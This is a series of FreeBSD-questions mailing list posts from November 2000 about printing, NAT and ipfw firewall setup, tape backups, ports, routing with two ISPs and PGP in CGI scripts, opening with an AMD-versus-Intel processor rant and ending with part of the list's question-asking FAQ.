My theory is this, if Hammer running in 32bit mode is far far faster than
Thunderbird, and Thunderbird is just a little bit faster per clock than
Coppermine, and Coppermine is faster per clock than Willamette, the winner
is clear.  Itainium isn't even entering into the picture, because even Intel
says the x86 emulation isn't going to be very fast.  It's more of a utility
thing, it's there, it's available if you need it.  I personally don't see
the need for Willamette.  They can keep their empty clock speed and all the
heat that comes with it.

Oh, and one more thing, think about the price difference.  How much cheaper
do you think the Hammer will be than the Itainium ?  And how much more
production will AMD have ?

AMD Athlon Thunderbird 1 ghz $254
Intel Pentium III Coppermine 1ghz $469

AMD Athlon Thunderbird 1.1 ghz $350
Intel Pentium III Coppermine 1.1 ghz RECALLED

Intel Pentium IV Willamette 1.5ghz $1139  (If you can get ahold of one)

What makes Intel CPUs worth twice as much money, the inferior performace ?
:)

Sorry this got off on an AMD vs Intel Jihad, but I truly can't take any of
Intel's upcoming offerings, even the Itainium, seriously.  It's time for IT
Managers to stop buying Intel CPUs rather than AMDs because of the brand
name and the "stability".  People with old memories of K6/K6-2 cpus, can't
seem to wake up to the fact that Intel cpus are the ones having the heat and
stability issues.  I won't even go into the rambus fiasco.  If you happen to
work under an Intel Only IT Manager, you know what I'm talking about.





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At 9:37 PM +0200 11/3/00, Juha Ylitalo wrote:
>Summary: I get printing jobs nicely into queue, but I can
>not seem to get daemon to push queue into printer. Here is
>quick example:
>
>essrv103nok149116# lpc restart essatb4b2
>essatb4b2:
>	no daemon to abort
>essatb4b2:
>	daemon started
>
>essrv103nok149116# lpq -Pessatb4b2     
>essrv103nok149116.ntc.nokia.com: Warning: no daemon present
>Rank   Owner      Job  Files                       Total Size
>1st    jylitalo   0    foo.ps                      71160 bytes
>
>no entries
>essrv103nok149116#

You might want to try 'lpc start essatb4b2' (instead of 'restart').
I'm juggling several different versions of lpr right now, and I
seem to remember having a problem with 'lpc restart' in at least
one of those versions.  I think that problem is NOT in the freebsd
version, but you might want to try 'lpc start' just in case.

Second, you might want to stop the /usr/sbin/lpd process and
start that up again with the '-l' (lowercase L) option.  That
way you should see more logging.

I don't see anything obviously wrong with what you have, but I
don't have time to really look at it right this minute.  I'll
send you another message later.
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Hello,

Again a root/user problem on FBSD-4.1.1R (See my mail about ssh/RSA). 
I have installed acroread3 (from /dist/packages). While root can run 
the program, user cannot. This is to do with the ldconfig. The problem
persists with ports/acroread4 from FBSD site.

[dhani@vasantam:p1 ~]% acroread4
                       [ nothing happens ]
[dhani@vasantam:p1 ~]% /usr/local/Acrobat4/Reader/intellinux/bin/acroread 
/usr/local/Acrobat4/Reader/intellinux/bin/acroread: error in loading shared
libraries: libAGM.so: cannot open shared object file: No such file or
directory
[dhani@vasantam:p1 ~]% ls /usr/local/Acrobat4/Reader/intellinux/lib
XKeysymDB               libCoolType.so          libICC.so.1.0
libAGM.so               libCoolType.so.1.0      libreadcore.so
libAGM.so.3.0           libICC.so               libreadcore.so.4.0

Nither ldconfig -r not /compat/linux/sbin/ldconfig -p has
/usr/local/Acrobat? in its list. Adding this dir using ldconfig -m didn't 
help. 

If this is of any consequence, one thing I remember doing after installing 
4.1.1R is to give read permissions of /dev/null to all (o.w. ps etc. refuse 
to work for users).

Thanks in advance for any help.
Gangadhar.
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hi, i have freebsd installed in my 2nd hd. and i have a atapi 44x cdrom, =
and i read that in the complete freebsd book that i can't really use it, =
so should i get another cdrom or something, or can i do something to =
make it compatible.
thanks a lot.
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I'm searching for a shopping cart for a web store.  The site is hosted on a FreeBSD powered site.  I'm looking for something that's either written in CGI or PHP and can access MySQL databases.  I'm interested in something simple where the database and corresponding scripts are easily customisable to suit my product data.

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Hi,

I don't have the problem. Perhaps I'm using a more recent version (4.0.1e I
think)

Ernst


Benedikt Schmidt wrote:
> On Wed, Nov 01, 2000 at 10:37:24PM -0500, Kenneth Wayne Culver wrote:
> > Yeah, I'm using it no problem with Xfree86 4.0.1c (cvs version... kinda
> > like a -CURRENT for XFree86) and it works perfectly... except if u switch
> > virtual terminals... then when u switch back to the X VT the mouse won't
> > move.
> > 
> There is a patch around for FreeBSD which solves the problem with the frozen
> mouse. Search the mailing list archive for these words. I'm not sure, but I
> think the patch is included in the port too. So you can maybe patch your 
> cvs version too if you need the ability to switch to virtual console.
> 
> Just wanted to let you know because I had the same problem myself and the
> inabilty to use the virtual terminals really got on my nerves.
> 
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Subject: Re: How do I see what the firewall rules are doing ?
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This is a bit long but I've been working on it for a day now so I have lo=
ts of=20
info:
What I want: 1 server inside the firewall to have a public IP address. My=
 BSD=20
guru set it up on a 3.4 box and it works fine, now I'm trying to do it on=
 a=20
4.1.1 box and followed his example. It doesn't work, after much trouble=20
shooting I can tell you this.=20
If I ping from the private box (P1) to a remote public box (R1) I can see=
 the=20
packets (using tcpdump) leave the firewall with the redirected address, t=
hey=20
arrive at R1 and R1 responds to the redirected address (RA). The packets =
NEVER=20
return to the firewall. If I traceroute from R1 to RA it stops at the fir=
ewall=20
ISP's routers. If I traceroute from P1 to R1 I get to the inside NIC of t=
he=20
firewall and no more.
Here are my rules, .conf files, even the part I added to GENERIC and reco=
mpiled.
(IP numbers have been changed to protect the inocent:

TEMfw3# ipfw show
00050  11  1344 divert 8668 ip from any to any via fxp0
00100  10   988 allow ip from any to any via lo0
00200   0     0 deny ip from any to 127.0.0.0/8
65000 165 11960 allow ip from any to any
65535   0     0 allow ip from any to any
TEMfw3#

TEMfw3# more rc.conf
# This file now contains just the overrides from /etc/defaults/rc.conf
# please make all changes to this file.

# Enable network daemons for user convenience.
# -- sysinstall generated deltas -- #
sendmail_enable=3D"NO"
gateway_enable=3D"YES"
sshd_enable=3D"YES"
inetd_enable=3D"YES"
##############################################################
###  Network configuration sub-section  ######################
##############################################################

### Basic network and firewall/security options: ###
hostname=3D"TEMfw3"                       # Set this!
firewall_enable=3D"YES"           # Set to YES to enable firewall functio=
nality
firewall_type=3D"OPEN"            # Firewall type (see /etc/rc.firewall)
firewall_quiet=3D"NO"             # Set to YES to suppress rule display
firewall_logging=3D"YES"
natd_enable=3D"YES"                # Enable natd (if firewall_enable =3D=3D=
 YES).
natd_interface=3D"fxp0"           # Public interface or IPaddress to use.
natd_flags=3D"-f /etc/natd.conf"
network_interfaces=3D"auto"       # List of network interfaces (or "auto"=
).
ifconfig_lo0=3D"inet 127.0.0.1"   # default loopback device configuration=
=2E
ifconfig_fxp0=3D"inet 216.208.171.XXX netmask 255.255.255.224"
ifconfig_fxp1=3D"inet 10.150.0.241 netmask 255.255.255.0"
#
named_enable=3D"YES"              # Run named, the DNS server (or NO).
defaultrouter=3D"216.208.171.XXX"
TEMfw3#
TEMfw3# more natd.conf
redirect_address 10.150.0.143 216.208.171.XXX
TEMfw3#

#
# IPFIREWALL enables support for IP firewall construction, in
# conjunction with the `ipfw' program.  IPFIREWALL_VERBOSE sends
# logged packets to the system logger.  IPFIREWALL_VERBOSE_LIMIT
# limits the number of times a matching entry can be logged.
#
# WARNING:  IPFIREWALL defaults to a policy of "deny ip from any to any"
# and if you do not add other rules during startup to allow access,
# YOU WILL LOCK YOURSELF OUT.  It is suggested that you set firewall_type=
=3Dopen
# in /etc/rc.conf when first enabling this feature, then refining the
# firewall rules in /etc/rc.firewall after you've tested that the new ker=
nel
# feature works properly.
#
# IPFIREWALL_DEFAULT_TO_ACCEPT causes the default rule (at boot) to
# allow everything.  Use with care, if a cracker can crash your
# firewall machine, they can get to your protected machines.  However,
# if you are using it as an as-needed filter for specific problems as
# they arise, then this may be for you.  Changing the default to 'allow'
# means that you won't get stuck if the kernel and /sbin/ipfw binary get
# out of sync.
#
# IPDIVERT enables the divert IP sockets, used by ``ipfw divert''
#
# IPSTEALTH enables code to support stealth forwarding (i.e., forwarding
# packets without touching the ttl).  This can be useful to hide firewall=
s
# from traceroute and similar tools.
#
# TCPDEBUG is undocumented.
#
options         TCP_COMPAT_42           #emulate 4.2BSD TCP bugs
options         MROUTING                # Multicast routing
options         IPFIREWALL              #firewall
options         IPFIREWALL_VERBOSE      #print information about
                                        # dropped packets
options         IPFIREWALL_FORWARD      #enable transparent proxy support
options         IPFIREWALL_VERBOSE_LIMIT=3D100    #limit verbosity
options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by defa=
ult
options         IPDIVERT                #divert sockets
options         IPFILTER                #ipfilter support
options         IPFILTER_LOG            #ipfilter logging
options         IPSTEALTH               #support for stealth forwarding
options         TCPDEBUG


# The following options add sysctl variables for controlling how certain
# TCP packets are handled.
#
# TCP_DROP_SYNFIN adds support for ignoring TCP packets with SYN+FIN. Thi=
s
# prevents nmap et al. from identifying the TCP/IP stack, but breaks supp=
ort
# for RFC1644 extensions and is not recommended for web servers.
#
# TCP_RESTRICT_RST adds support for blocking the emission of TCP RST pack=
ets.
# This is useful on systems which are exposed to SYN floods (e.g. IRC ser=
vers)
# or any system which one does not want to be easily portscannable.
#
options         TCP_DROP_SYNFIN         #drop TCP packets with SYN+FIN
options         TCP_RESTRICT_RST        #restrict emission of TCP RST

# ICMP_BANDLIM enables icmp error response bandwidth limiting.   You
# typically want this option as it will help protect the machine from
# D.O.S. packet attacks.
#
options         "ICMP_BANDLIM"

# DUMMYNET enables the "dummynet" bandwidth limiter. You need
# IPFIREWALL as well. See the dummynet(4) manpage for more info.
# BRIDGE enables bridging between ethernet cards -- see bridge(4).
# You can use IPFIREWALL and dummynet together with bridging.
options         DUMMYNET
options         BRIDGE

TEMfw3#

This is how it looks on the 3.4 box. Could it be that the DSL ISP is bloc=
king=20
something ?? My 3.4 box is on a different ISP.
John...
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Subject: Re: How do I see what the firewall rules are doing ?


One thing, show us your firewall rules, maybe those got messed up somehow
or the interface changed etc.etc.




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> Fbsd 4.1.1 and trying to natd redirect_address <private ip> <public IP>
> It just won't go, I've set it exactly like my working ver 3.4 Fbsd box =
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> I'm guessing it's something in the firewall (but its the same as the 3.=
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On Fri, 3 Nov 2000, Christoph Sold wrote:

> Doug Poland schrieb:
> > 
> > Chris wrote:
> > >
> > > I got a single, small BSD box set up and running in a local network. I
> > > plan to use it for backup purposes. Unfortunately, this box sports no
> > > SCSI interface. Everything has to be done the cheap way.
> > >
> > > Can anybody speak up how to backup (preferably using Amanda) to any
> > > ATAPI or USB drive?
> > 
> > Chris,
> > 
> > I'm by no means an authority, but I choose to backup my systems to
> > harddrives in two dedicated backup PC's. I added two 20GB HD to two
> > old 80486s.  You can't beat the cost/MB ratio of an IDE harddrive.
> > I backup to one machine one day, the other the next.  Of course,
> > I had old 486's lying around so the only cost involved was the drives
> > themselves.
> 
> Thanks, Doug, that's a good idea. Anyhow, I need something for offsite
> storage. CD-R, tape, whatever: only it should not involve SCSI. Any
> opinions?

A friend of mine came up with this one recently: every so often, [have
cron] make up a tarball of your current work, then email it to yourself
at various free email accounts (hotmail et al). It's, um, an interesting
idea. 

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> Hello,
> 
> How should I change it:
> 
> #dump 0af - / | gzip > /dev/rsa0
> gzip: stdout: Invalid argument

what does 'mt status' say?

#mt status
Mode      Density              Blocksize      bpi      Compression
Current:  0x47                 512 bytes      0        disabled
---------available modes---------
0:        0x47                 512 bytes      0        none
1:        0x47                 512 bytes      0        none
2:        0x47                 512 bytes      0        none
3:        0x47                 512 bytes      0        none
---------------------------------
Current Driver State: at rest.
---------------------------------
File Number: 0  Record Number: 0

dump 0a / works great, so I don't understand what is going on?

#dump 0a /
  DUMP: Date of this level 0 dump: Fri Nov  3 22:52:59 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/da0s1a (/) to /dev/rsa0
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 34125 tape blocks.
  DUMP: dumping (Pass III) [directories]
  DUMP: dumping (Pass IV) [regular files]
  DUMP: DUMP: 34153 tape blocks on 1 volume
  DUMP: finished in 52 seconds, throughput 656 KBytes/sec
  DUMP: Closing /dev/rsa0
  DUMP: DUMP IS DONE

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Jochem Kossen <j.kossen@home.nl> types:
> Hi,
> I read through the FreeBSD handbook, especially the section covering 
> ports/packages, but updating packages is mentioned nowhere.
> Is there a convenient way to update packages?

Nope.

> I don't mean using CVS,CVSup,CTM (source updates) but binary updates, like 
> this is arranged in Linux using RPM and DEB.

RPM is convenient? Oof. I hope FreeBSD does better than that we get
around to doing more than a stopgap package system. Until then,
though, ports are easier to deal with than packages.

> Or is it possible to just pkg_add <pkgname> if there is already an old 
> version of <pkgname> installed?

Yes, you can do that, but it's not recommended. It probably overwrites
files in the old package with files from the new one, which means you
can't delete the old package without breaking the new one. Of course,
there's a good chance there are files in the old package that aren't
in the new one, so deleting just the new one will leave cruft on your
disk.

> I guess pkg_delete <oldpkg_name> and then pkg_add <newpkgname> doesn't solve 
> this problem, because of the dependencies...

Just do "pkg_delete -f <oldpkg_name>" to force the deletion, then
"pkg_add <newpkgname>" to install the new one. However, this may well
break some of the packages that depended on the new one, even if
there's not a new version of the package that depended on things. On
the other hand, those require you to install a newer version of the
dependent package.

What rpm does is overkill for this kind of thing, though. You really
don't want all your old packages updated with new ones; you just want
the packages that depend on this one updated, etc.

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Turn on debugging on ppp daemon. Try to run it from terminal and see
what it 
types. Send to the list you configuration files.
Most of the cases (IMHO) the problems with ppp dialin is configuration
of
ppp.allow or ppp.deny files.

> sunny wrote:
> 
> Dear Sirs,
> 
> I am a third year computer engineering student. I have freeBSD 3.3
> installed in my computer. It's a nice OS. Just Wonderfull.
> 
>  I am facing some problems in configuring the OS as DIAL IN SERVER. I
> have configured to the most that I could do. When I dial into my
> computer from another computer I get the LOGIN prompt and the password
> prompt. I feed in the required fields and it accepts it. But the main
> problem which I am facing is that it does not go into the ppp daemon.
> I am using Windows 95/98 to dial in my computer through a modem. After
> the verification of the user name and password I get disconnected and
> the windows 95/98 shows " PLEASE CHECK YOUR NETWORK TYPE" . I have
> enabled in the dial up networking in windows 98 (server setting) as
> 
> Type of dial up server - PPP:Internet, win NT server, Windows 98
> Allowed network protocols:- tcp/ip
> 
> and in tcp/ip settings I have put auto modes.
> 
> Please help me with this problem.
> 
> Thanks.
> 
> Sunil.


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Please send responses back to questions@freebsd.org; others may want
to see or be able to help.

svga <svga@polbox.com> types:
> 
> -c isn't needed. The problem may be /dev/rsa0 is doing strange
> things. Try sending the output of gzip through dd:
> 
> #dump 0af - / | gzip -9 | dd of=/dev/rsa0 bs=10k
> 
>   DUMP: Date of this level 0 dump: Fri Nov  3 23:36:11 2000
>   DUMP: Date of last level 0 dump: the epoch
>   DUMP: Dumping /dev/da0s1a (/) to standard output
>   DUMP: mapping (Pass I) [regular files]
>   DUMP: mapping (Pass II) [directories]
>   DUMP: estimated 34125 tape blocks.
>   DUMP: dumping (Pass III) [directories]
>   DUMP: dumping (Pass IV) [regular files]
>   DUMP: DUMP: 34153 tape blocks
>   DUMP: finished in 101 seconds, throughput 338 KBytes/sec
>   DUMP: DUMP IS DONE
> dd: /dev/rsa0: Invalid argument
> 915+915 records in
> 915+914 records out
> 14985216 bytes transferred in 101.744104 secs (147283 bytes/sec)

Looks like I was right - /dev/rsa0 is upset about the stream output to
it. You'll have to figure out what it's limitations are, so you know
what options to set on dd to get it to do the right thing. If you
don't know what's up with the tape drive, I'd suggest replacing
"bs=10k" with "obs=10k conv=osync".

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I am trying to build the Mozilla M18 port, but I am having difficulties.
When I run make it fails with this message: 

configure:5076: checking for gtk-config
configure:5111: checking for GTK - version >= 1.2.0
(end of "config.log")
*** Error code 1

Stop in /usr/ports/www/mozilla.
*** Error code 1

Stop in /usr/ports/www/mozilla.
*** Error code 1

Stop in /usr/ports/www/mozilla.
*** Error code 1

Stop in /usr/ports/www/mozilla.

Has anyone else been having problems building the mozilla port?  Can
anyone explain to me how to get this working?


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The Netflex (Thunderlan) embedded ethernet controller in the Compaq 1850R
does not seem to like the Thunderlan driver.  When connected to a
10BaseT/UTP hub the controller will continuously cycle through the
auto-detection bringing the connection (and the physical link) up and down
repeatedly (driver with no arguments - default of autodetect).

The same configuration will work fine and detect 100BaseT full duplex when
connected to a 10/100 switch and the network connection functions.  I have
tried adding the 'media 10BaseT/UTP' argument which causes the controller to
lock into that mode without autodetecting, leaving the link established.
However, no data will pass (cannot ping in our out).  I can ping the
loopback address and I can ping the local IP.

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<P><FONT SIZE=3D2 FACE=3D"Arial">The same configuration will work fine =
and detect 100BaseT full duplex when connected to a 10/100 switch and =
the network connection functions.&nbsp; I have tried adding the 'media =
10BaseT/UTP' argument which causes the controller to lock into that =
mode without autodetecting, leaving the link established.&nbsp; =
However, no data will pass (cannot ping in our out).&nbsp; I can ping =
the loopback address and I can ping the local IP.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I have reproduced this problems with =
multiple versions of FreeBSD (2.x,3.x,4.x).&nbsp; My assumption is that =
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On Friday 03 November 2000 18:27, Levi Becerra wrote:

> > Hello FreeBSD team, I've been planning to install FreeBSD in my company as
> Network and mail server and I'm going to have windows 2000 in my
> workstation with Outlook also.
>
> I'd like to know what I need to do so, I'm new in FreeBSD software.
>
> My company name is Ceramica Carabobo, which is located in Venezuela, We
> bought the FreeBSD power pack via the internet (Walnut Creek CDROM).
>
>  Thank you for your help.
>
> My best regards,
>
> Levi Becerra
> Thechnnical Suport supervisor of Ceramica Carabobo company.

see http://www.lemis.com/questions.html   will help you to help yourself.
read the documentation carefully, visit the above site and come back when
you need help and you will surely get it. Good luck and welcome.
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On Fri, 3 Nov 2000 09:11:55 -0900  Kirk Brogdon wrote:
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 | I've noticed that I will often have blackout periods where I receive
 | nothing from this mail list.  This can last for a few hours or a day
 | or more.  I can receive mail from other sources - both local and
 | outside, just not from the list.  Is this normal or do I have something
 | set up incorrectly?  The messages do eventually come through I just
 | get hit with a couple hundred all at once and then I receive fine for a day
 | or so then it blacks out again.  I am using sendmail 8.11 (with a 
 | 8.9.3 cf file - but it did this before 8.11 also).  Nothing in the 
 | /var/log/maillog files seem to indicate any problems.  No recent
 | cattle mutilations either.
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You might want to update that cf file.  But that shouldn't have
any bearing on your question.

I was just thinking about this the other day.  I'd been having
problems with all my mail because of an IP change and wanted to do
some analysis.  Your mail gives me an opportunity to explore this
further. I'm going to calculate a "delay" by subtracting the Date
field from the Delivery-Date field and see what that shows me.

The first thing that I found is that lots of people don't seem to
care what time it is.  At least one messages had Date: that was as
much as 22 years in the future.  Several were from one or two years
out there.  All though no messages had dates before 2000

There are  2011 messages from 'questions', 'stable' and 'small'
sitting in my freebsd MH folder.  I found that 1745 had "delays"
that were between 0 and 6 days.  Of these I saw two major delay
and flood events that correspond to local network problems.
Outside of those flooding events I did not see anything that
indicated other than normal human cercarian behavior.  Of course
my sample was pretty small.

chris

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yep. i had the same problem on a newly installed machine. i just went
to go intall gtk myself (assuming that the dependancy was not made in
the mozilla makefile) and went back to it afterward. all was fine for
me and is working as it should now.
-Otter


}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of
}Jeff Blaufuss
}Sent: Friday, November 03, 2000 5:51 PM
}To: questions@FreeBSD.ORG
}Subject: Mozilla port fails to build
}
}
}I am trying to build the Mozilla M18 port, but I am having
}difficulties.
}When I run make it fails with this message:
}
}configure:5076: checking for gtk-config
}configure:5111: checking for GTK - version >= 1.2.0
}(end of "config.log")
}*** Error code 1
}
}Stop in /usr/ports/www/mozilla.
}*** Error code 1
}
}Stop in /usr/ports/www/mozilla.
}*** Error code 1
}
}Stop in /usr/ports/www/mozilla.
}*** Error code 1
}
}Stop in /usr/ports/www/mozilla.
}
}Has anyone else been having problems building the mozilla port?  Can
}anyone explain to me how to get this working?
}
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Hello

I currently have two internet connections though two different ISP's.
One is a ADSL and another is shared with the rest of my dorm. The shared
line is rather slow because many people are using it.

I must have an IP on the shared connection since that's the only place
where I can be sure to have a non changing IP for my DNS. But the ADSL
is much faster so I would like to use that as much as possible.

I can give my machine an IP on each connection but I can of course only
set one default route. The default route is currently set to the ADSL.
The problem is that when a connection is made to IP on the shared
connection my computer uses the ADSL IP to respond and that does not
work.

Is there a solution to this? I thought about maybe it is possible to
route differently when a connection is made on the shared connection but
I can't find out how to do it.

-- 
Simon Nielsen


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Chen Xu <xuc@mcbi-34.med.nyu.edu> types:
> Dear All,
> I have 4.0 running. And I got 4.1.1 installation CDROM. I wanted to
> install the new source and then make world. Can anyone tell me what is
> the best way to do this? Can I simply run /stand/sysinstall to install
> the source or I should make install floppies from new CDROM and boot off
> the floppies and then install only source from there? 

Ugh. There's not really a good way to do that. /stand/sysinstall might
do the trick for you, but I'd be leary of running the 4.1.1 sysinstall
on a 4.0 system, or letting the 4.0 sysinstall try and install the
source to 4.1.1 (though that is the most likely path).

However, there's no reason you can't do it "by hand", as it were. The
following should be close:

mount /cdrom
mkdir /usr/newsrc
cd /usr/newsrc
for dist in /cdrom/src/*.aa
  do
    dname=`basename $dist .aa`
    cat /cdrom/src/$dname.?? | tar xpzf -
  done

And it'll put the newq source tree in /usr/newsrc.

	<mike



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--- www.nul.cjb.net --- The Power to Crash!
--- www.FreeBSD.org --- The Power to Serve!

On Sat, 4 Nov 2000, Alex Fetisov wrote:

> Hi!
>  
> Basically I've got two questions:
> 1) Can I use FreeBSD OS if I already have Windows'98 installed or it (BSD) must be used solely?
Yes you can, it's called dual boot system, in the beginning you choose to
boot a) Windows or B) FBSD so yes you can do this
> 2) If yes, then how can I compile C/C++ code on FreeBSD, what utilities do I need to use if there are such?
>  
Yes, gcc cc c++ and many others, I'd say just about any unix comes with
with compilers.



My suggestion read a lot before you attemp anything, or better yet, backup
your system, if you do that you'll be all right.
> Thanks in advance.
> 



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dougb@FreeBSD.org wrote:

> Synopsis: Unable to print on Canon BJC6000 from a HP 8240@233mhz
>
> State-Changed-From-To: open->closed
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> State-Changed-When: Fri Nov 3 02:05:59 PST 2000
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> Not really a PR.
> Please send a much more detailed description of the
> problem to freebsd-questions@freebsd.org
>
> http://www.freebsd.org/cgi/query-pr.cgi?pr=22554

Hello Dough:

I am running FreeBSD 4.1,  this is a fresh install on a Hewlett Packard
8240  with 64MB of ram running @ 233 mhz, the printer is a CanonBJC6000.
Let I said in my first communication in the past I  have had at lease
four or five different flavors of Linux on this pc; everything worked
fine including the speakers. There really
is not much to tell., I have reinstalled FreeBSD at least twice in an
effort to get my printer going. Basically its
a standalone system connected to the internet via 56k modem (telephone).
I have not modified any of the files in hopes to make the cure easy.  It
is probable something simple, I'm just not smart enough to figure it out
. Thank you in advance Dough.

Eugene



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I'm trying to run FP2000 Extensions on a new 4.1.1 server.  I installed
apache-fp from packages, followed the instructions, and created a test
root web.  When I went to publish, it told me FP extentions weren't
installed.  I fixed this with

ScriptAlias /_vti_bin/ "/usr/local/frontpage/version4.0/exes/_vti_bin/"

So then I was able to publish; the problem was it never prompted me for a
username and password.  I'm assuming that this somehow caused the
.htaccess files to be ignored, which is a mystery since I have

<Directory "/www/docs">
	Options Indexes FollowSymLinks MultiViews IncludesNOEXEC
	AllowOverride AuthConfig Limit Indexes Options
	Order allow,deny
	Allow from all
</Directory>  

Note the interesting part is if I publish to www.testsite.com/~unixusername 
it *does* prompt for authentication, then tells me parsing isn't working
once I authenticate.  

Does anybody know how to fix this?  I noticed several post in the archives
describing the exact same problem, but never saw a definative solution.  

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Greetings,

I recently installed FreeBSD 4.1.1 in the second 7.5GB slice of a 30G IDE
disk to run some experiments.  However, the FreeBSD boot manager (a.k.a.
boot0) wouldn't let me select anything but the first partition, though it
correctly identified all three partitions that were allocated.  It appeared
to be reading the disk and getting some sort of error.  (I saw the disk
light flash briefly, and the boot code beeped.)

Interestingly, the NetBSD boot manager *does* let me boot the 2nd and
3rd partitions on that disk.

I'm reasonably code savvy (was able to add partition type 0x40/LynxOS to
the "known partition types" table), but the way that packet mode is
handled is quite different between FreeBSD and NetBSD, and I'm not deeply
enough skilled to figure out what's broken.

Anyone ran into this before?

The system in question shows up thusly in dmesg.boot:

atapci0: <Intel ICH ATA66 controller> port 0xffa0-0xffaf at device 31.1 on pci0
ata0: at 0x1f0 irq 14 on atapci0
[...]
ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable
ad0: 29333MB <WDC WD307AA-00BAA0> [59598/16/63] at ata0-master using UDMA33
acd0: CDROM <TOSHIBA CD-ROM XM-6702B> at ata0-slave using PIO4

If it's interesting, NetBSD has this to say:
pciide0 at pci0 dev 31 function 1: Intel 82801AA IDE Controller (ICH) (rev. 0x02)
pciide0: bus-master DMA support present
pciide0: primary channel wired to compatibility mode
atapibus0 at pciide0 channel 0
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wd0: drive supports 16-sector pio transfers, lba addressing
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wd0: 32-bit data port
wd0: drive supports PIO mode 4, DMA mode 2, Ultra-DMA mode 4
pciide0: primary channel interrupting at irq 14
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Simon Nielsen wrote:
> Hello
>
> I currently have two internet connections though two different ISP's.
> One is a ADSL and another is shared with the rest of my dorm. The
> shared line is rather slow because many people are using it.
>
> I must have an IP on the shared connection since that's the only
> place where I can be sure to have a non changing IP for my DNS. But
> the ADSL is much faster so I would like to use that as much as
> possible.
>
> I can give my machine an IP on each connection but I can of course
> only set one default route. The default route is currently set to the
> ADSL. The problem is that when a connection is made to IP on the
> shared connection my computer uses the ADSL IP to respond and that
> does not work.
>
> Is there a solution to this? I thought about maybe it is possible to
> route differently when a connection is made on the shared connection
> but I can't find out how to do it.
>
Yes, it can be done (though I have not found it documented anywhere).  
I really think there should be separate routing tables for each  
interface, but I don't know of any such feature in any Unix.

However ipfw can be abused for the above task. Assuming:

	- ipfw is set to pass on default
	- your ADSL IP/network is a.a.a.a/aa
	- your shared IP/network is s.s.s.s/ss
	- your ADSL gateway is set as default route
	- your shared gateway is s.s.s.gw
	
the following ipfw rules do the trick:

# Pass anything that should go via normal routes
# This rule is really just to speed up the bulk
# of the packets
add 1000 allow all from a.a.a.a to any
# Pass anything to local addresses on ADSL network
add 1010 allow all from any to a.a.a.a/aa
# Pass anything to local addesses on shared network
add 1020 allow all from any to s.s.s.s/ss
# And here the trick: if the source address is the one
# from the shared network, pass packets to the
# gateway on the shared network
add 1030 fwd s.s.s.gw all from s.s.s.s to any
	
With the above connections will leave your system on the same route  
they entered it. Great for redundant mail and dns setup!

If you already use ipfw you need to adapt the above rules accordingly.  
The important part is that packets coming from your host's shared  
address going to the 'outside' (and only those packets) are forwarded  
to the shared networks gateway.

Gerd


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I'm looking for a decent, inexpensive, 33.6 or higher modem  to use on my FreeBSD 4.1.1 system.  Can anybody point me to one that works well with FreeBSD, maybe for under $25?



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I'm trying to use a perl cgi script to encrypt the results of a feedback form 
and then email it. I've installed PGP 2.6.3i and everyting works fine as long 
as you run the script from the command line. However, if I run it from a www 
cgi form the PGP program tries to communicate with the perl script as if it is 
an interactive user and asks for random key presses!

Here is the httpd-error.log:

snip-----------------

Pretty Good Privacy(tm) 2.6.3ia - Public-key encryption for the masses.
(c) 1990-96 Philip Zimmermann, Phil's Pretty Good Software. 1996-03-04
International version - not for use in the USA. Does not use RSAREF.
Current time: 2000/11/04 00:40 GMT

We need to generate 192 random bits.  This is done by measuring the
time intervals between your keystrokes.  Please enter some random text
on your keyboard until you hear the beep:
cannot open tty, using stdin

Unable to get terminal characteristics: ioctl: Inappropriate ioctl for device
Couldn't open PGP62.255.32.4.asc for read at /usr/local/apache/cgi-
bin/www/pgptest.pl line 162.

snip-------------

I've noticed that if you try to encrypt a file, the very first time you do it, 
it asks for these 192 random bits, but only the first time. Each new user who 
logs in over telnet gets asked this question the first time they try to encrypt 
a file using pgp. pgp then creates a .pgp directory in their home directory and 
adds the randseed.bin file.

So I've created a new user called www and logged in as him and setup pgp. I've 
used pgp to encrypt a file and gone through  the keypresses. I've then changed 
httpd.conf to run apache as www and group www but all to no avail. I've set the 
pgp config.txt to use the same .pgp directory as in www - again I keep getting 
this message in the error.log file.

Has anybody any idea how to convince pgp that the user is already set up. I'm 
running the script from a secure server, if that makes any difference.

Any help would be much appreciated.

Regards

Chris Sheppard
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How to get the best results from FreeBSD questions.
===================================================

Last update 3 September 1999

This is a regular posting to the FreeBSD questions mailing list.  If
you got it in answer to a message you sent, it means that the sender
thinks that at least one of the following things was wrong with your
message:

- You left out a subject line, or the subject line was not appropriate.
- You formatted it in such a way that it was difficult to read.
- You asked more than one unrelated question in one message.
- You sent out a message with an incorrect date, time or time zone.
- You sent out the same message more than once.
- You sent an 'unsubscribe' message to FreeBSD-questions.

If you have done any of these things, there is a good chance that you
will get more than one copy of this message from different people.
Read on, and your next message will be more successful.

This document is also available on the web at
http://www.lemis.com/questions.html.

=====================================================================

Contents:

I:    Introduction
II:   How to unsubscribe from FreeBSD-questions
III:  Should I ask -questions or -hackers?
IV:   How to submit a question to FreeBSD-questions
V:    How to answer a question to FreeBSD-questions

I: Introduction
===============

This is a regular posting aimed to help both those seeking advice from
FreeBSD-questions (the "newcomers"), and also those who answer the
questions (the "hackers").

       Note that the term "hacker" has nothing to do with breaking
       into other people's computers.  The correct term for the latter
       activity is "cracker", but the popular press hasn't found out
       yet.  The FreeBSD hackers disapprove strongly of cracking
       security, and have nothing to do with it.

In the past, there has been some friction which stems from the
different viewpoints of the two groups.  The newcomers accused the
hackers of being arrogant, stuck-up, and unhelpful, while the hackers
accused the newcomers of being stupid, unable to read plain English,
and expecting everything to be handed to them on a silver platter.  Of
course, there's an element of truth in both these claims, but for the
most part these viewpoints come from a sense of frustration.

In this document, I'd like to do something to relieve this frustration
and help everybody get better results from FreeBSD-questions.  In the
following section, I recommend how to submit a question; after that,
we'll look at how to answer one.

II:  How to unsubscribe from FreeBSD-questions
==============================================

When you subscribed to FreeBSD-questions, you got a welcome message
from Majordomo@FreeBSD.ORG.  In this message, amongst other things, it
told you how to unsubscribe.  Here's a typical message:

  Welcome to the freebsd-questions mailing list!

  If you ever want to remove yourself from this mailing list,
